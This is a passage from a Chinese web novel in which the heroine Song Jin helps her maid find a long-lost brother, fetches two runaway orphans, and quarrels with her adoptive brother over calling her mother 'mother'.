被盯上之后,丫鬟愿意,那是夫人一个人的眼中钉;他若不愿意,那就是夫人少爷两个人的眼中钉,她们哪儿有什么选择啊 杨彦珺说不出话来 宋锦嗤笑两声,弯下腰拍着黄黄的圆脑袋,道:“对吧,黄黄,那年山里来了只公虎,又丑又臭,还敢占你便宜,娘是不是替你把它给宰了?” 虎皮还在家里箱子里塞着呢 黄黄听不懂,但是不妨碍她非常捧场:“咪~” 她人娘说什么都对 宋锦满意地又拍拍它的脑袋,再看向揪着破手绢的杨彦珺,耸肩:“你要是想两个孩子一起收养可要想清楚,宣平侯府那边你应付得了吗?你以后若是再婚,一堆孩子杂事管得过来吗?小花那丫头主意大得很,你要想把人管好可得费不少劲,还有宁宁,她看着性子软,但是主意多,别养着养着养成仇了” 她是觉得宁宁现在也挺好的,不缺吃喝,快快乐乐 虽然现在大部分人眼中,还是能在大户人家的金窝窝的好,即便会受到各种白眼,即便会被困在宅子里,即便一辈子可能都走不出一座城,那也是富贵日子好 还有小花,被那么多人压着管着,都能四五岁就能怂恿人上山抓老虎,还敢在就坛子里躲着跑老远。宋锦可不觉得杨彦珺一个人管得过来 杨彦珺本是找她这里找安慰的,结果得了这么一堆话,本来的伤痛难受都被郁闷烦闷取代,脸上带着愠怒的红意,恼道:“我就多余来找你” 宋锦点头,感叹:“我也觉得啊” 正常人谁没事来找她谈心啊,找她打一架都来得快些 宋锦对自己还是很有数的 见她真没有半点愧疚心虚,杨彦珺气得跺了跺脚,一把扔掉手绢,气冲冲地离开这里 宋锦耸了耸肩,又坐回黄黄身边,用着它的专用梳子给它梳了一遍,最后把毛发收集起来,揉揉它的耳朵:“等年过了就给你送回去了,再不出去,你就真成胖老虎,捕不了猎了” 它现在天天吃好喝好又不动,短短一段时间就胖了一圈,再继续下去可不得了 她以前费这么大力教它捕猎,可不是为了让它蹭吃蹭喝的 黄黄:“咪~” 宋锦看着它猫里猫气的样子,啧啧两下:“咪咪咪,就知道咪,” 黄黄翻身,露出软软的肚子,娇滴滴:“咪咪” 宋锦揉了两下,又陪它玩了玩,才慢悠悠走出虎院子,往自己的小院走去,一到门口,就看到里面显眼的人,她纳闷:“你还没走?” 杨彦珺轻哼:“我走什么?宋府里又不是只有你一个人” 宋锦白眼:“所以你说的另一个人就是我娘?还是我未来二嫂?” 杨彦珺拉着牛铁兰,抱怨:“兰姐姐,你看看明光,一点道理都不讲,我都这么难过了,她还净是噎人” 牛铁兰轻轻拍着她的手,安慰:“她一个别人把她骨头打断,第一反应都是人家厉害的人,我们不和她计较” 杨彦珺本来还有些装模作样的,一听这话,卡壳一下:“真的?” 牛铁兰:“真的,她就这样,你别理她就是” …… 宋锦听着她们说着自己的‘坏话’,翻了个白眼,想了想,跑去找自家那即将重获自由的小丫鬟去了:“小耳,走走走,带你报仇去” 小耳正蹲在地上堆着雪人,听到这话立马蹦了起来,跟小兔子一样窜了过来,仰着圆脸蛋:“真的真的?” 宋锦捏捏她的苹果脸,拍胸脯保证:“你小姐我说的还有假?不就是一个小将军嘛,让他给你道歉赔钱,还要把你爹爹家产赔你,不然就让他们蹲大牢去” 小耳激动得脸更红了,捏着拳头:“蹲大牢” 她爹娘去世以后,家里的财产应该是她的才对,但是叔伯不仅强占家产,还把她给卖了——虽然这种事情并不少见,但其实并不合法,真论起来,怎么也得把家产换回来 当然,前提也是自己得有权势,并且遇上个好县令 现在县令判案的评判标准可不要太随心 宋锦想到这些年听到的乱七八糟的案子,在心里摇了摇头,拉着过于激动的小耳,又叫上小眉,又把阿茂小多叫上,就这么气势汹汹地找了上去 宋慎之带来的那些个小将,论功行赏以后,一部分回归漠北,一部分分配郡府,还有一些就留在了永安城任职 和小耳长得很像的那人就留在了永安城,在军营里担任正七品云骑尉,在都城是个非常非常不起眼的小武官 至少对于宋锦来说是这般 但事实上,他年纪轻轻就有如此职位,已经非常厉害,前途也一片光明了 小耳这些天特意打听了一下,越打听就越气,捏这个拳,走在路上还不忘告状:“小姐你一会儿得帮我拉住人,让我狠狠揍他一拳” 宋锦搂着她的肩膀,安抚人:“行行行,我我帮你” 小多默不作声地走在后面,他本就有些憨傻,平日没个表情,浓眉大眼五官粗犷,他这段时间又都在打铁,比起之前魁梧,也黑了不少,冬日衣服厚实,穿在身上,看着就不是个好惹的 他闷闷开口:“我也帮忙” 小耳立马转头,瞪着他:“不许帮,你不许动手,不然我以后都不理你了” 小多失落地低下脑袋,闷闷:“听小耳的” 小耳这才重新扬起笑,随后脑袋上就挨了一下子 宋锦呵呵:“好啊,舍不得小多出力,就舍得你小姐我啊?” 小耳连忙讨好地看着她,踮着脚,伸手垂着她的肩膀:“能者多劳,能者多劳,小姐这么厉害,哪儿能让别人来抢你的风头啊” 宋锦啧啧一下,指着肩膀:“敲重点” 小耳努力踮着脚替她捏肩,身形较小,就跟个小布娃娃似的,半挂在宋锦的身上 小眉和阿茂走在一边,都有些忍俊不禁 一行人就这么前前后后地走到了目的地,城东的三营队,这会儿里面还在训兵,口号声脚步声不断,营队外面有人守着,看到对面来的宋锦一行人,直接拦下 守卫面色严肃:“军营重地,不许入内” 宋锦习以为常,非常淡定地从怀里掏出一枚黑色令牌扔过去,一个多余的字都不说,大摇大摆地朝着里面走去 那模样过于淡然了,淡定得守卫们面面相觑,看着那代表着皇家的令牌,犹豫之下,人已经走了进去 宋锦抱着手,左看右看,直接大喊:“简高义给我滚出来” 她声音响亮,又用了内里扩张,便是前面训练的声音都压不住,很快就传进每个角落 所有人错愕地看了过来 正常人也不是这个找人法吧?哪里来的小祖宗啊 没见过宋锦的人一头雾水,见过宋锦的人眼皮直跳 在那边训练着士兵的带头男人很快就走了过来,他赤着上身,飘雪下还出了大汗,被打扰训练,他本该生气的,但是在这一刻只剩下了警惕还有郑重 “郡主大驾光临,不知找简校尉何事” 宋锦打量着他,好一会儿,恍然:“我见过你,宋慎之的小弟” 胡岭嘴角一抽,抱手:“在下胡岭” 宋锦点了点头,然后把身后外强中干,一进来就藏到自己身后的小耳拉了出来,搂着她的肩膀,把人圈在怀里,捏着她的脸蛋给人看 “让简高义那个混蛋出来,负债子偿,他家里一家子不干人事,他这个做儿子的就得还债” 胡岭看着突然冒出来的小耳,眉头紧紧皱起,迟疑:“这是” 宋锦夹着人的脑袋:“我妹妹,别问那么多,快叫简高义出来,别想跑,跑不掉的” 她这气势汹汹,一看就是找麻烦的模样,胡岭怎么看怎么想,也想不出来他们能有什么交际,除了面前这个小不点 两人长得是挺像的,但是负债子偿,那小子亲爹尸骨都不知道埋在哪儿,他能有什么债啊 胡岭想不通,但是一点儿也不妨碍他惹不起面前这个郡主 国公府世子都能被她倒吊狠揍,他一个小小将军,还是老老实实认栽吧 胡岭对于自己的手下还是很信任的,索性,不做亏心事不怕鬼敲门,他们理直气壮,若是真做了亏心事,那也活该被收拾 没一会儿,那边屋里面就一人走了过来 宋锦上下打量,不得不说,这人身形确实魁梧,比起小多也不差什么,也不怪年纪轻轻就能成为七品武官,但是比起他健壮的身形,更引人注目的,是与之相反的娃娃脸 圆脸圆眼睛,看起来就跟个十四五岁的孩子似的,反差感拉满 宋锦看看他,再看回小耳,瞅瞅眼睛瞅瞅鼻子,也不亏是让她一眼就认出的‘仇人’,长得确实挺像的,她感叹:“所以你家是祖传的娃娃脸啊” 小耳瘪着嘴:“嗯,我爹这边都是这个脸,我叔伯和我爹就很像” 所以她才会这么坚信,简高义就是她的堂兄弟 这年头,这么娃娃脸的人家也不多咧 就在她们说话的时候,简高义已经走到了跟前,他看着气势汹汹的宋锦,眉头紧紧皱起, 进城的时候宋锦收拾刺客的场面让人很难忘坏,他一眼就认出这就是他们将军的妹妹,目前永安城最最不能招惹,但是又喜欢惹事的人 他全身心都在宋锦这个超高危险的人身上,至于她夹着的毛茸茸小玩意儿,太矮了,又低着脑袋看不清,可能是谁家小孩子吧 简高义不太在意,他只是谨慎地看着宋锦,小心斟酌:“刚才唤我的,是郡主?” 必须小心,万一惹人不开心了,等将军回来他就惨了 宋锦见他没注意,把小耳拎了起来,抬到他面前,现在总能看到了吧? 小耳已经气得脑袋冒烟了,一张脸蛋红扑扑的,圆圆的眼睛狠狠瞪着面前都‘仇人’ 太太太过分了,当着她的面都这么目中无人 果然是有其父必有其子,都不是什么好东西 面对她的怒瞪,简高义愣住,凑近两分看着她的眉眼脸庞,这圆滚滚的,他很是震惊,然后后退两步,脸上带着藏不住的茫然 他也是娃娃脸,圆脸圆眼睛,不看身子只看脸的话,就像个十三四岁的少年,很难让人起警惕心 宋锦看着他这个模样,断定他知道家里的缺德事,冷笑:“知道是怎么回事了?自己做的孽,自己承着” 简高义惊恐,下意识:“不可能,我没有,我才十五,哪儿会有这么大的闺女” 小耳本就是娃娃脸,个头又小小的,和高大的他对比起来就显得更小了 可能就十岁?不对,八岁,七岁? 简高义猜测 宋锦:…… “啊啊啊啊啊”小耳忍无可忍,挣脱宋锦的手,尖叫着冲向简高义,努力一跳,跳到人的背上重重抓着他的头发,“欺人太甚,你们简家欺人太甚,我日你祖宗的,呸呸呸,老祖宗我不是骂你们,啊啊啊反正不是好东西,跟你爹一样……” 简高义像是木头一样站在原地,任由小猫抓挠 他这些年受的伤不要太多,现在这点儿攻击算不上什么,甚至都压不下那股迷茫 小耳和小多阿茂三个担心小耳站不稳掉下来,走过去小心搀扶她的脚,又要拦着简高义动手,一个个手忙脚乱也不知道在忙些什么 见他们上去了,原本还想上前帮着小耳抓一下人的宋锦顿住步子,抱着手站在一边看着乱七八糟的场面,摇着头 胡岭揉着脑袋,艰难地走到宋锦旁边,道:“郡主,据我所知,高义父母双亡,从小在漠北长大,没听说过什么爹娘,你们会不会是,认错人了?” 正在看戏的宋锦一顿,睁大眼:“哈?在漠北长大?他不是青郡府的?” 胡岭一言难尽:“是不是我也不确定,反正他籍贯落在漠北。他五六岁时候全家出门遇到劫匪,一家子都死了,就他死里逃生,又因缘际会到了漠北。他记得自己的名字,后面被一个同姓的退伍老兵收养,后面敌袭害死了养父,他入了伍立功,这么些年才第一次离开漠北” “……” 宋锦咽了咽口水,再转头看向案发现场,见小耳已经使出吃奶的劲往人脸上咬了,嘴角一抽,瞬间就飞了过去,掐着人把快气疯的小耳弄了下来,小声 “快别闹了,这好像是你弟,亲弟” 使劲抓挠的小耳就跟被点了封印似的,瞬间顿住,圆眼睛就跟奶狗似的,湿漉漉的,满是迷茫,她看看宋锦,再看向人高马大一大坨的简高义,下意识 “小汤圆?” 她记得自己的名字,她大名叫简高茗,小名叫团团 而她唯一的亲弟弟,死在那场匪患中的弟弟,因为出生就很圆,皮肤白脑袋黑,很像芝麻汤圆,爹娘喜欢叫他阿宵,她喜欢叫他汤圆 那已经是很久很久之前的事了,久得她现在想起来,眼睛都不由模糊了起来 简高义的头发被抓得乱七八糟,身上还带着湿漉漉的口水牙印,一双圆眼睛湿漉漉的,配合那高大像是柱子一样的身形,看起来更是委屈可怜极了 他姐小小一个,但真的长了一口好牙啊 第127章 哪儿能和你比 “出来” 好人做到底,宋锦虽然被找孩子的事搅得脑壳疼,一点都不想掺和进这些乱七八糟的事里,但事与愿违,这事没她孩子很不幸 实在是,杨彦珺根本搞不下来 在两个崽失踪大半天后,宋锦打着哈欠,在冰天雪地的破茅草房里找到了两个人 比起想象中的狼狈危险不同,两个人所在小小的茅草屋里,四周用草木堆积,里面裹着稻草木枝,挡住寒风,两个人裹在厚厚的小被子里,旁边还放着饼子糕点烧着热水,可见准备充足,应该是以前就准备的小据点 两个人这会儿裹在一起,两张红红的冒着热气的小脸蛋贴着,像是小动物一般,往里面再缩了缩,眼睛闪烁,藏着心虚还有些委屈 宋锦抱着手站在她们前面,微微眯着狭长的凤眸,就这么看着她俩:“我数三下,三”!!! 两个崽下意识撒腿就跑,但是因为在被子里,一个没主意,她们直接裹着被子滚了出来,连带着身后的茅草棚子也跟着倒塌 砰一下,宋锦蜷起手指,一个人脑袋来了一下,睨着她们:“长胆子了啊,怎么,荣华富贵惹人厌?金银财宝在屁股后面追着跑了都不要?” 小花扭过头,不屑:“我才不稀罕” 宋锦又敲脑袋:“你稀不稀罕不重要,小孩子没有话语权,你们堂主已经谈好了,你的东西也收拾好了,回去就跟着走,去住你的大屋子去” 小花当即眼睛一瞪,一个鲤鱼打滚就翻到在地上:“不行不行,我不同意,我不要走……” 她还不会跑就会跟着扎马步了,那两腿十分有劲,噔噔噔噔就跟兔子似的 宋锦一脚踩住,居高临下俯视她:“别和我耍混,我不吃这套” 小花停下打滚,红着眼睛直接趴在地上,没一会儿就抽抽噎噎了起来 宋锦摇摇头,直接扯着人都领子把人拎了起来,再看向一旁的宁宁,伸手正要抓人,宁宁一下子跳起来握住手,眨着大眼睛,白白嫩嫩,乖乖巧巧,奶声奶气 “窝自己揍” 宋锦捏捏她的脸:“不许卖萌,你也不是个老实的” 宁宁鼓着嘴,气鼓鼓侧过脑袋 宋锦不理两个崽的小情绪,把人一拎一牵,开始原路返回 她们俩已经跑到城南边了,这边人多杂乱,多棚户小屋,这会儿又下雪,两个人很好躲藏,宋锦能找到她们,都靠千里虫了 宋锦瞥着肩膀上的呆头蜂子,侧过脑袋一压 圆滚滚的呆头蜂唧一声,呆头呆脑 她不由想到了半年前,也是因为这么个呆头蜂,她偷袭宋行之的行为暴露,被 认了出来,她娘身上的蛊暴动,她们来到了都城,一步步到现在 好像也没做什么,但是生活一点点就变了 宋锦狭长的凤眸扫过周围,就这么带着两个崽子穿行在林立的房屋高墙中,现在天已经黑了下来,夜深不见底,只有房子门口零星挂着的熹微烛光,照着飘落的雪,偶尔周边会传来窸窣的动静,但是基本上还是寂静无声 雪日湿滑,就连贼子也安分了下来 一路只有她们三个人 “喂,郡主”小花扭扭捏捏的声音传来,“那个女人都能收养我们,就不能你收养吗?我和宁宁会听话的” 宁宁仰着脑袋,奶声奶气:“听话” 宋锦嘴角一抽,无语:“杨彦珺多少岁我多少岁?我能有你们这么大的孩子?一个个想得倒是挺美的,知道我是谁吗?” 小花瘪嘴:“知道,郡主” 宁宁:“金金姐姐” 宋锦轻哼一声,仰起下巴,眉眼带着两分得意:“等后面就知道了” 她对象可是板上钉钉的太子了,这两小崽子倒是有野心,但是别想了,不说这事,就是她还是个普普通通的乡下人,那也不能收留两个崽子来给自己添乱 他们家有她一个崽就够了 宋锦得意洋洋,再看向两个小崽子,戏谑:“不过你俩要是过来我家当小丫鬟,还是勉勉强强可以的” 小花立马撇嘴:“小丫鬟挨打挨骂还要干活,我才不要” 宁宁也鼓嘴:“郡主坏” 宋锦:“看样子也没傻到这个份上嘛,那你们跑什么?杨彦珺虽然傻了点,但是之前你们处得不是挺好的吗?” 小花不说话了,耷拉着脑袋,神色郁郁 确实挺好的,好的时候,她甚至也想过杨彦珺要是自己娘亲就好了,但是真成亲娘了,小花又觉得荒谬极了。那么一个锦衣玉食的大小姐,竟然是自己亲娘? 小花还知道杨彦珺之前是侯夫人,但是他们和离了,因为她的亲爹不是好人 小花想不通,觉得很难受,就跑了 至于宁宁,她知道杨彦珺很好,也知道被收养了就不缺吃喝了,但是她还是更在意福哥,不想分开 她鼓着嘴,奶声奶气:“宁宁要和福哥在一起” 宋锦低头看着宁宁奶呼呼的小模样,啧啧两下:“你可别后悔,错过了这个村以后可就没这个店了” 宁宁坚定重复:“宁宁要福哥” 宋锦又道:“你要是和杨彦珺走了,以后天天吃肉,每个月还可以给福哥他们钱,让他们也吃肉” 宁宁一点犹豫都没有,加大声音:“宁宁要福哥” 他们现在自己赚钱,酒铺包吃住,每日每人两文钱,他们送酒经常有打赏,酒铺还会定期收他们做的草编竹篓,铁匠铺也会收些小草坠,五个人杂七杂八各种钱加下来,少的时候能有二十文,多的时候能上百文呢 宁宁雄赳赳强调:“我们有钱” 宋锦哟了一声:“不得了啊,攒了多少了?” 宁宁捏着手指,比了比三 宋锦挑眉:“三十两?这么能攒啊” 她看看,按照这个速度的话,等到她及笄了,几个人应该勉强买得起一个小房子里 惨啊 但宁宁很骄傲,那可是三十两咧,能够他们吃超级超级久了 普通攒钱肯定不好攒,但是她靠着宋锦这大山,认识的都是些有钱人,这里赏一点那里送一点,加起来就不少了 宋锦看着她得意的小模样,没有浇冷水,左右,让她自己去和福哥说去,不管是继续过普通日子,还是和小花一起去杨府当陪衬,反正都饿不着 她就这么牵着两人,把他们送到了酒铺这边 福哥胜哥几个焦急地在酒铺前打转,外面点着灯笼,微弱的烛光下照亮那边的人影,一群人飞速跑了过来 “宁宁” “小花小花” …… 宋锦把人安全送回崽子窝,但是事情还没结束,她又又去杨府那儿报了平安,面对哭得悲痛的杨彦珺,被迫听她碎碎念念,等折腾回来天都快亮了 她这刚睡下没多久,外面传来了噼里啪啦的响声,她埋着脑袋打了两个滚,暖洋洋的阳光透过窗找了进来,在冬日里格外舒服 宋锦眯了两下,还是睁开了眼,打了个大大哈欠,起了床 屋外阳光灿烂,照在身上却没有多大的热度,探出了身子,外面噼里啪啦的鞭炮声音更响亮了 宋锦揉了揉眼睛,带着些睡意:“娘,外面怎么了?” 牛铁兰和曲茂泽坐在屋檐下,身旁立着几个暖炉,中间搭着厚重小塌,周身弥漫着一股香味,很是好闻。她看着只穿里衣的宋锦,蹙起眉头:“把衣服穿上” 宋锦打着哈欠:“不冷,我晒一会儿” 牛铁兰就这么看着她,杏眸盈盈,但是又带着压迫 宋锦撇了撇嘴,慢慢吞吞转过身,去里面随便找了件好穿的衣服套上,走出门到他们旁边坐下,趴在桌子上 牛铁兰拿起香块敲了敲她脑袋:“起开,碍事” 宋锦打着哈欠起来,脑袋靠在她肩膀上,指着那噼里啪啦鞭炮声传来的方向,问:“怎么都在放炮?” 一会儿功夫,又有几个地方传来了声音,敲锣打鼓的 她好奇:“哪家结婚了?” 牛铁兰心累:“会试成绩出来了” 那些放炮的自然都是家里有人考上的,他们这边显贵人家最多,同理读书人也多,考上的考生数量也绝对是永安城最多的区域 宋锦恍然大悟:“竟然出来了?哎,那我出去看看” 说着人就要跑,牛铁兰赶紧抓住她,薅住她的头发,没好气道:“披头散发,有什么好看的?太阳都快落山了,人早就散了,别在这乱闹” 一听这话,宋锦立马坐了起来,拉着她娘,兴奋:“所以是考上了吗?考起了?” 虽然严盛日子过得好坏和她家没有直接关系,但是成就感不一样啊,这可是她娘和她定的潜力股,真考起了就证明她们的眼光好啊 上次碰到严盛,就他那还能出来摆摊的松弛模样,发挥得应该还是不错,不然也不会说等成绩出来再上门拜访这种话 也算有点良心 至于舒程浩,宋锦就没想过他能考上,作为她的狐朋狗友,他能考上举人已经是撞大运了,贡生的话,宋锦觉得他明年回家先把祖坟烧了再过来还靠谱些 宋锦就这么扒在牛铁兰的旁边,凤眸亮晶晶地看着她,里面全是凑热闹的兴奋和期待,仔细看,眼角还有些青黑 这几日小花和宁宁的事还是有些折腾人 牛铁兰也有些心疼自家闺女大半夜折腾,伸手摸了摸她的眼角,叹气:“要不再睡会儿?” 宋锦摇摇脑袋,嬉皮笑脸道:“多大点事啊,娘你不是总说要让我感受一下带我的艰难吗?你看,这就叫报应” 牛铁兰没好气地敲了敲她的脑袋,冷笑:“胡言乱语,什么报应不报应的,那两孩子哪儿能和你比?你也太小瞧你了” 也太嘀咕她这当娘的那些年受的惊吓的 这两崽子不就是离家出走大半天嘛,还是在城里,面前这人可是能四五岁时候就一个人进深山五六天的,当时差点没把她魂都吓掉 宋锦被噎:“……娘你可真看得起你闺女” 牛铁兰轻哼一声,转头就和曲茂泽说起了宋锦小时候的丰功伟绩,什么上树下水都是洒洒水,抓毒蛇,惹熊瞎子,逗野猪,圈大蟒…… 她家后院有阵子都快成动物园了,全是些乱七八糟的东西,吓得她都不敢出卧室门 曲茂泽没经历过这些,也没真正意义上带过孩子,想不到危险惊惧,只觉得不愧是自家崽,天生就这么厉害 他看着对面比他矮不了多少的宋锦,发自内心赞叹:“金金好厉害” 宋锦看着他的目光也多了些赞赏:“你也很有眼光” 曲茂泽失笑:“谢谢” 对此,牛铁兰有些恼,伸手轻轻掐了掐他的手,嗔:“你就顺着她吧” 曲茂泽轻笑,和宋锦极其相思的凤眸转过来看着她,深邃中藏着缱绻的溺意:“我的女儿,我不 顺她顺谁?” 宋锦被看得有些不自在,挪过眼睛,撇着嘴嘀咕:“油嘴滑舌” 曲茂泽叹气 他真的是真心实意啊,奈何孩子太倔了,气劲也大 牛铁兰眼神瞥过他,柳叶轻挑,杏眸莹亮,努了努嘴:上次说的如何? 曲茂泽更是无奈了,他转过头看着宋锦,见她垂着脑袋,柔顺浓密的秀发披散,清丽浓艳,带着强烈的攻击性,一眼看去就知道不是个好说话的 他深吸一口气,看向牛铁兰表示,他觉得他还能再试试 试吧,试吧,试到明年得一声哥就好玩了 牛铁兰睨了睨他,轻哼一声,懒得看他逞强的模样,转过头看向宋锦,然后一巴掌拍了过去,哎哟一声,恼:“死丫头,你手一天不欠会断是不是?赶紧给我放了” 宋锦讪讪放下手中的香薰,嘀咕:“小气娘” 牛铁兰瞪:“再闹自己一边玩去” 宋锦撇着嘴,又趴在桌面上,长长的手伸到另一头耷着:“娘你还没说考上没呢?” 牛铁兰深吸一口气:“你说呢?” 宋锦立马嘻哈了起来:“真考上了啊,什么名次?会元?第二名?第三名?” 牛铁兰无语:“你以为这是什么考试呢?他若是这般奇才,在县里就得被那些富贵人家淹了,哪儿轮得到我们资助” 当然,严盛这几年其实也不缺资助的人,只不过多是些普通商户,他虽然聪颖,但是书院厉害的人不要太多,他没那么突出 这次能考得解元运气占了很大部分,考到他擅长的,加之青郡府上一次科考成绩优异,厉害的人走了大半,才让他捡了个漏 而他家境又贫寒,有底蕴的人家看不上他,看上他也态度傲慢;没底蕴的人家,他也不想白搭那个情 他有牛铁兰资助,又有学院奖助,还自己抄写书赚些银钱,暂时还是够用 不过 “严盛还是很厉害,这些年下了苦功夫,这次考试录了三百六十名,他九十七名,在中等偏上,好好发挥的话,殿试很有希望” 牛铁兰眉眼轻柔,发自内心地夸道 不提那潜在的亲事,就说严盛作为自己看大、资助的后辈,他成为贡生也是一件大喜事 曲茂泽看着她开心的模样,轻笑:“宋行之那儿还有些科考心得,等后面给人送去吧” 他自然看不上一个中等的贡生,但既然是他夫人挑的,他也乐意给些帮助,让人能走远一点,至于能走多远,就全看个人来 牛铁兰没有拒绝他的好意,抿嘴笑了笑:“好,等他明日过来让他带走,殿试过了再换回来” 对比他俩的‘重视’,宋锦自从听到九十七就没了打听的兴趣,打了个哈欠,嘀咕:“都快一百名了,差太远了吧” 见她还嫌弃,牛铁兰无语:“让你去,别说一百名了,一万名都拿不到” 宋锦不服了,轻哼:“那是文考,有本事来个武考,我给娘你考个第一名回来” 牛铁兰深呼吸,挥手:“明天严盛和舒程浩要来,你别给我乱跑” 严盛这些日子就一直在等成绩,今日成绩一出来,就带着成绩送来了拜贴 不管他是为了往日的恩情,还是为了宋家的关系,至少明面上都过得去 牛铁兰还是满意的 宋锦切:“多大的客啊,一个九十七” 牛铁兰抬起手做势就是一巴掌 宋锦一下子蹿开,捡起树枝随便簪起头发,然后吐了吐舌头,摇头晃脑,十分刻意地蹦跳离开:“出去玩了,不用给我留饭” 牛铁兰无言以对,瞪着眼看着她消失在门口,挥起的手一点点放下,然后拍在旁边的曲茂泽腿上,恼怒:“都怪你,也不看看她多大的人了,一点儿规矩都不知道,就知道顺着她” 曲茂泽攥住她的手,失笑:“还小呢,都还没及笄,你着什么急?” 牛铁兰恼:“我哪儿能不急啊” 她闺女看上的若是别人,随便一个她都不急,反正不行离了就是,偏偏是齐铮这个铁定的未来太子,她哪儿能不急啊 曲茂泽无奈:“这叫什么?皇帝不急太监急,皇上自己都没说什么,你急什么?” 牛铁兰一顿,仔细想想好像也是这个道理,但是再想想,她掐住他的腿,恼:“你什么意思?有你这么说你闺女的吗?” 曲茂泽:…… 说实话,在他这,闺女真的比娘听话啊 第128章 不许跟我抢 “阿唔唔唔哗啦啦啦” “宋锦!!” “唔” …… 天色微亮,宋锦端着瓷碗在房外刷牙,大衍经济发达,牙刷品种也不少,最寻常的就是柳枝漱口,自己去外面折就行,猪毛牙刷要贵些,但是普通人家也买得起,就是有些硬。 像宋府这种大户人家都是用的牛骨马尾刷,用起来柔软,清洁度也高,就是价格也不便宜,一般人家用不起 古代牙口没法治,只能尽力保护好,宋锦可以几天不洗脸,刷牙上还是很讲究 她站在那里叽里咕噜一通漱口,里里外外仔仔细细之后,又拿着柳条嚼着练牙口,咔擦卡擦的,就穿着件灰色里衣,披头散发,搭着脚,踩着鞋子,就这么靠在柱子上,一股子流浪潇洒味 牛铁兰看着就眼睛疼,也不知道怎么回事,这孩子越来越回去了 刚到都城时候她也不这个样子啊 顶多就是不讲究,接地气了些,现在吃喝穿着各方面都有个模样,就是那气质,怎么看怎么不对劲 虽然说宋锦从始至终一如既往的张扬,但是刚来的时候,她张扬下压着一股野劲和韧性,像是绷紧的琴弦,还是收着些。现在的她就是发自骨子里的松弛和不在意,整个人张扬之下带着股浪荡意,把脸一闷,出去就是正儿八经的纨绔子弟 金钱和权势腐蚀的速度也太快了些 牛铁兰恨铁不成钢:“你能不能收着点?看看别的小姑娘,看看你” 宋锦懒洋洋地咬着柳枝:“什么小姑娘?杨彦珺那种?还是其他那些天天在后院蹲着的傻子?” 牛铁兰嗔她:“别天天说人坏话” 宋锦嘀咕:“那你还天天说我坏话呢” 牛铁兰恼:“宋锦!” 宋锦闭上嘴,呸呸两下吐掉柳枝,漱口,然后溜回房间换衣服 不听不听,阿娘念经 …… 距离春节还有大半个月时间,永安城很是热闹,每日叫卖的商贩不断,各个商铺也迎来了每年最热闹的一个月 宋府往年这个时候里外已经忙碌起来,准备各种过年需要用的东西,装饰休整宋府了 今年的话,因为宋商离世,宋府一切从简,也不挂什么彩带窗花,衣食上明面上精简了不少,外出采购的东西也少了些。至少往年,这个时间点家里购置的新衣也该到了,今年基本没有 宋清之特意过来了一趟,恭敬地解释道:“今年大家一切从简,夫人和小妹将就一下” 牛铁兰瞥着屋子里那一堆都快找不到地方放的首饰金银,还有那些装满了料子新衣的木箱子,真看不出来哪里将就了 她摇了摇头:“东西已经够多了” 宋清之看着她通情达理的模样,在心里感慨,还是他爹有眼光,难怪这些年面对其他人无动于衷,他曾经都以为他爹是不是身体有点什么问题咧 他扬起笑:“除了添置,孩儿这次过来是想让母亲看看今年的账册,虽然家里有管事账房负责,但每年这个时候爹都会抽出两日看一看,现在他不在,我想着应该让母亲过个目” 听到母亲一词,牛铁兰瞬间错愕 在一旁玩机关兽的宋锦更是睁大了眼睛,一个不注意扯下了兽脚,她将其直接砸了过去,怒气冲冲起身:“你乱喊什么呢?” 和她抢娘,不要命了是吧? 宋清之来之前就做好了心里预设,现在也不急不忙,浅绿色的眸子像是漠北的绿湖,漾着涟漪,脸上带着笑:“小妹是我们的小妹,小妹的爹是我们爹,小妹的 阿娘自然也是我们的阿娘” 宋锦母女俩来到永安城这么久,宋清之兄弟五个对于宋锦一直都是亲近纵容,一直称呼小妹,对于牛铁兰尊敬有余,但一直以来都是称呼的夫人 一个是之前并不确定她和宋商的关系,再一个,就是宋锦占有欲有些强 就像现在,她整个人冲了过来,一把捏碎手中的木质小兽,木块噼里啪啦掉落地上,她白牙微呲,凤眸微眯,里面全是威胁,一字一字:“你爹是你爹,我娘是我娘” 宋清之:“这不合道理,小妹” 宋锦:“我管你合不合道理,不许这么叫” 宋清之眯着绿眼睛,也难得没有退让,不急不慢地说道:“母亲和父亲是一家,我们兄弟几个自然也该这般叫人” 他们阿爹天天跟在小妹的身边,都快忘了他们五个儿子,他们也没说一句,现在就是喊一声娘,小妹还不愿意 太过分了 宋清之本来也只比宋锦大了一岁,他这段时间日子不算好过,在家里被无视被小瞧,在外面乱七八糟杂事也多,骨子里的狼崽子劲跟着冒了起来 他呲起牙,浅绿色眸子看向牛铁兰,带着较真斗气的劲:“父亲把我们几个养大,就跟亲爹一样,您和他在一起,自然也是我们的母亲,是吧?娘亲?阿娘?娘?” 宋锦怒不可遏,冲上来抓他头发:“说了不许叫,那是我娘,我又不跟你们抢人,你们不许跟我抢” 宋清之呲牙咧嘴,坚持:“我们又没有不让你喊,反正你娘也是我们娘” 她喊不喊爹都是她的,他们不一样 宋清之坚决不改口,张嘴继续:“母亲母亲母亲母亲” 宋锦眼中冒着火光,恼怒地扯他嘴:“不许喊不许喊不许喊” …… 两个人缠斗在一起,十五六岁的人就跟几岁孩子似的 牛铁兰从一开始的错愕到担忧再到后面的无语,她伸手抚着额头:“你们两个够了” 没人理她,两人继续揪着头发吵着 “我娘是我娘,是我一个人的” “是你的,也是我们兄弟五个的母亲” “闭嘴闭嘴是我一个人的” “不听不听不听” …… 牛铁兰看得脑袋疼,她喊了几句没人理她,想上去拦呢,看着两个五岁孩子的模样,又有些嫌弃,抚着额头离开,一出去,就看到曲茂泽悠闲坐在那儿喝茶 宋顺之和宋安之则端正坐在一旁,身前茶水一口不动 好一个父慈子孝 牛铁兰蹙着眉头,走到人身后轻轻敲了敲他肩膀,嗔道:“里面都快打起来了,你就在这听着?” 曲茂泽把手中刚倒的热茶递到她手心捂着,轻笑:“无碍,小五不敢还手的” 牛铁兰没好气:“我是这个意思吗?” 曲茂泽含笑:“那我进去把人拉出来?” 他面容清俊朗逸,剑眉星眸,眸中带着笑意,就这么看着她,明明是一副端庄清正的模样,但是嘴角噙笑,又染上两分戏弄之意 牛铁兰突然就反应了过来:“你挑的事?” 曲茂泽握着她的手,慢条斯理:“夫人这话说的,我不过是关心夫人,担心你无事做无聊,又想到家里小子年轻,管不得事,让你过目一下,怎么就成了挑事?” 牛铁兰弯下腰,一双杏眸瞪着他,轻轻咬唇:“那那个,你在那乱喊什么?” 什么母亲不母亲的,不说她闺女了,她自己都听得怪不自在了 曲茂泽轻轻一笑,反问:“难道喊错了?” 